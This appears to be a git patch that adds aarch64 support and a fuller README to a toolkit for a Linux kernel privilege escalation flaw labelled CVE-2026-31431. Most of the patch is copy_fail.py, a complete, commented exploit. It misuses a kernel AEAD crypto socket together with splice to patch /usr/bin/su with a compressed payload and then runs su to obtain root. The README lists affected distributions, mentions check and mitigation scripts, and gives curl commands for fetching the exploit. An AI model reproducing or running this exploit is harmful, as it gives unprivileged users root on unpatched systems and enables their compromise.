From 9fe0b4b8362bf0347f00c98309fba4285bf65174 Mon Sep 17 00:00:00 2001 From: Jon Date: Thu, 30 Apr 2026 16:43:32 +0100 Subject: [PATCH] Added aarch64 support and more readme --- README.md | 27 ++++++++++++++++++-- copy_fail.py | 71 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 96 insertions(+), 2 deletions(-) create mode 100644 copy_fail.py diff --git a/README.md b/README.md index fbaa12e..8e3aead 100644 --- a/README.md +++ b/README.md @@ -13,13 +13,36 @@ | Rocky Linux 9.7 (Blue Onyx) | 5.14.0-611.49.1.el9_7.x86_64 | +### aarch64 ? +| Distro | Version | +|-------------------|-------------------------| +| Ubuntu 24.04 LTS | 6.17.0-1011-oracle | +| RaspbianOS ? | ???? | + +### unaffected +| Distro | Version | Reason | +|-------------------|-------------------------|---------| +| Devuan | 6.12.74+deb13+1-amd64 | algif_aead is not used by kernel | +| | | | + ## Files check.sh - makes a check to see if the exploitable crypto module is loaded. mitigate.sh - unloads the exploitable crypto module, chances are you didnt need it anyway. -copy_fail_exp.py - the exploit in pure python. +copy_fail.py - the complete exploit writeup in plain python code. + + +copy_fail_exp.py - the exploit in pure python for x86 systems. +copy_fail_exp_aarch64.py - the exploit in pure python for aarch64 systems. run to get the file as a non-privilaged user. +``` + curl https://git.jonstarkey.co.uk/jon/CVE-2026-31431-tools/raw/branch/main/copy_fail_exp.py +``` +or +``` + curl https://git.jonstarkey.co.uk/jon/CVE-2026-31431-tools/raw/branch/main/copy_fail_exp_aarch64.py + +``` - curl https://copy.fail/exp diff --git a/copy_fail.py b/copy_fail.py new file mode 100644 index 0000000..7691c33 --- /dev/null +++ b/copy_fail.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +import os as os_module +import socket as socket_module +import zlib + + +# Convert a hex string to bytes +def hex_to_bytes(hex_string): + return bytes.fromhex(hex_string) + + +# Patch a 4-byte chunk (patch_bytes) at offset (chunk_offset) in file descriptor (target_fd) +# using a kernel AEAD crypto socket to write into the target binary +def patch_chunk(target_fd, chunk_offset, patch_bytes): + # Create an AEAD (Authenticated Encryption with Associated Data) socket + crypto_socket = socket_module.socket(38, 5, 0) + # Bind to the AEAD algorithm: AES-CBC with HMAC-SHA256 (with ESN) + crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) + # SOL_ALG socket option level + sol_alg = 279 + set_socket_option = crypto_socket.setsockopt + # Set the cipher key (16-byte AES key, all zeros) + set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64)) + # Set the authentication tag size to 4 bytes + set_socket_option(sol_alg, 5, None, 4) + # Accept a connection on the crypto socket to get a usable file descriptor + crypto_connection, _ = crypto_socket.accept() + # The write offset into the target file is the current chunk offset + 4 + write_offset = chunk_offset + 4 + # Null byte used to pad control message fields + null_byte = hex_to_bytes("00") + # Send the payload chunk with crypto control messages (IV, seq number, op) + crypto_connection.sendmsg( + [b"A" * 4 + patch_bytes], # 4-byte header + 4-byte patch data + [ + (sol_alg, 3, null_byte * 4), # IV (all zeros, 4 bytes) + (sol_alg, 2, b"\x10" + null_byte * 19), # Sequence number / nonce + (sol_alg, 4, b"\x08" + null_byte * 3), # Operation flags + ], + 32768, # MSG_SPLICE_PAGES flag to splice directly into the pipe + ) + # Create a pipe to splice data from the crypto socket into the target file + pipe_read_fd, pipe_write_fd = os_module.pipe() + splice_data = os_module.splice + # Splice encrypted output into the write end of the pipe + splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0) + # Splice from the read end of the pipe into the crypto socket fd (patching the binary) + splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset) + try: + # Drain the response from the crypto socket + crypto_connection.recv(8 + chunk_offset) + except Exception: + pass + + +# Open the target binary for reading/writing (O_RDONLY=0, relies on splice to write) +target_fd = os_module.open("/usr/bin/su", 0) +chunk_offset = 0 +# Decompress the payload: a sequence of 4-byte patches to apply to the binary +payload_bytes = zlib.decompress( + hex_to_bytes( + "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" + ) +) +# Iterate over the decompressed payload in 4-byte chunks and patch the binary +while chunk_offset < len(payload_bytes): + patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4]) + chunk_offset += 4 +# Execute the (now-patched) su binary +os_module.system("su") +